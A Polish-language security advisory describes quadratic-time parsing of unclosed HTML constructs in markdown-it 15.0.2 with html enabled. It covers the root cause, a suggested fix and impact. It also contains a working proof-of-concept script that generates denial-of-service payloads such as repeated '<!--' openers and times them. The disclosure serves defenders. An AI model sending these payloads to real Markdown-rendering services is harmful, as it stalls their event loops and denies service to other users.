markdown-it: Odmowa usługi z kwadratowym czasem parsowania liniowego HTML przy włączonej opcji html

Podsumowanie

Przy włączonej opcji html: true, markdown-it potrzebuje czasu kwadratowego do przetwarzania powtarzających się, niezamkniętych struktur HTML wewnątrz akapitu. Dotyczy to komentarzy HTML (<!--), instrukcji przetwarzania (<?), deklaracji (<!A) oraz sekcji CDATA (<![CDATA[).

Dane wejściowe kontrolowane przez atakującego o wielkości zaledwie kilkuset kilobajtów mogą zablokować pętlę zdarzeń Node.js na sekundy lub dziesiątki sekund. W konfiguracji domyślnej obsługa HTML jest wyłączona, jednak profil commonmark ją aktywuje.

Problem zgłoszono dla opublikowanego pakietu markdown-it@15.0.2 w środowisku Node.js 20 i odtworzono na aktualnym kodzie źródłowym w Node.js 24.16.0.

Szczegóły

src/rules_inline/text.ts traktuje < jako znak kończący, co powoduje, że parser liniowy podejmuje próbę dopasowania reguły HTML przy kolejnych znacznikach otwierających struktury HTML.

Przy włączonej obsłudze HTML, src/rules_inline/html_inline.ts stosuje zakotwiczone wyrażenie regularne do pozostałej części danych wejściowych:

const match = state.src.slice(pos).match(HTML_TAG_RE)

Alternatywy dla komentarzy, instrukcji przetwarzania, deklaracji oraz CDATA w src/common/html_re.ts przeszukują pozostały ciąg w poszukiwaniu odpowiadających im terminatorów: -->, ?>, > oraz ]]>.

Gdy brakuje terminatora, dopasowanie kończy się niepowodzeniem. Parser przechodzi do kolejnego znacznika otwierającego i ponownie skanuje nakładający się fragment. Powtarzanie tego procesu w obrębie akapitu prowadzi do kwadratowej złożoności obliczeniowej. W przypadku takich danych wejściowych problemem jest wielokrotne przeszukiwanie w ramach kolejnych prób dopasowania.

Ładunek musi trafić do parsera liniowego (inline). Poprzedzenie go znakiem x utrzymuje go wewnątrz akapitu. Bezpośrednie rozpoczęcie linii od jednej z tych struktur uruchamia parser bloków HTML, który nie wykazuje takich powtarzających się skanowań liniowych dla tych ładunków.

Istniejący test unclosed <!-- w test/markdown-it/pathological.test.mjs zawiera już przypadek odtwarzający problem:

'</' + '<!--'.repeat(100000)

Uruchamia się go jednak z opcjami domyślnymi, przy których obsługa HTML jest wyłączona.

Poprawka powinna eliminować powtarzające się poszukiwania brakujących terminatorów dla wszystkich czterech podatnych alternatyw, na przykład poprzez buforowanie (caching) nieudanych wyszukiwań w stanie parsera liniowego. Poprawienie jedynie wariantu komentarzy pozostawia pozostałe trzy przypadki bez ochrony. Testy regresyjne powinny weryfikować wszystkie cztery warianty przy użyciu html: true.

Oryginalne zgłoszenie nadesłał @JarLob. Wskazano udział GitHub Security Lab Taskflow Agent w ramach programu GitHub Secure Open Source Fund.

Proof of Concept

Zainstaluj podatny pakiet w pustym katalogu:

npm install markdown-it@15.0.2

Zapisz poniższy kod jako poc.mjs i uruchom node poc.mjs:

import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'

const mdHtml = new MarkdownIt({ html: true })
const mdDefault = new MarkdownIt()
const sizes = [8000, 16000, 32000, 64000]

function measure(md, src) {
  const start = performance.now()
  md.render(src)
  return (performance.now() - start).toFixed(1)
}

const variants = {
  comment: '<!--',
  processing: '<?x',
  declaration: '<!A',
  cdata: '<![CDATA['
}

for (const [name, opener] of Object.entries(variants)) {
  console.log(`\n${name}`)
  for (const n of sizes) {
    const src = 'x ' + opener.repeat(n)
    console.log({
      n,
      bytes: Buffer.byteLength(src),
      ms: measure(mdHtml, src)
    })
  }
}

const n = sizes.at(-1)
const controls = {
  'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)],
  'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)],
  'HTML block': [mdHtml, '<!--'.repeat(n)],
  'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}

for (const [name, [md, src]] of Object.entries(controls)) {
  console.log({ control: name, ms: measure(md, src) })
}

const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
  payload: 'Existing pathological test',
  htmlFalseMs: measure(mdDefault, repoPayload),
  htmlTrueMs: measure(mdHtml, repoPayload)
})

Pomiary z oryginalnego zgłoszenia na platformie markdown-it@15.0.2, Node.js 20:

Ośmiokrotny wzrost liczby powtórzeń powoduje około 35–60-krotny wzrost czasu wykonania, co odpowiada dominującej złożoności kwadratowej.

Dla ładunku z komentarzem przy 64,000 powtórzeniach:

• HTML wyłączony: 25 ms.
• Zamknięte komentarze: 29 ms.
• Ładunek na początku bloku HTML: 1 ms.
• Zwykły tekst: 1 ms.

Istniejący ładunek testowy z 100,000 znacznikami otwarcia komentarza zajął 33 ms przy wyłączonym HTML oraz 21,030 ms przy włączonym HTML. Osobny ładunek z komentarzem o 128,000 powtórzeniach (około 500 KiB) zajął 32,847 ms.

Dokładny czas zależy od środowiska uruchomieniowego i sprzętu.

Wpływ

Jest to problem z dostępnością, który dotyczy aplikacji renderujących dane wejściowe Markdown kontrolowane przez atakującego z włączoną opcją html: true, w tym aplikacji korzystających z profilu commonmark.

W środowisku Node.js synchroniczne wywołanie render() może zająć rdzeń procesora i zablokować pętlę zdarzeń na sekundy lub dziesiątki sekund, opóźniając inne żądania obsługiwane przez ten sam proces. Wielokrotne przesłanie takich danych może doprowadzić do odmowy usługi (DoS). Aplikacje przeglądarkowe mogą podobnie przestać odpowiadać, jeśli renderowanie odbywa się w głównym wątku.

Sanityzacja wygenerowanego kodu HTML po przetworzeniu nie zapobiega problemowi, ponieważ kosztowne operacje mają miejsce podczas renderowania Markdown.

Domyślna konfiguracja z wyłączoną obsługą HTML nie jest podatna na te ładunki. Wyłączenie obsługi HTML lub ograniczenie rozmiaru danych wejściowych może zmniejszyć ryzyko do czasu wdrożenia poprawki.

Zgłoszona wersja, której dotyczy problem, to 15.0.2; pełny zakres podatnych wersji nie został ostatecznie ustalony.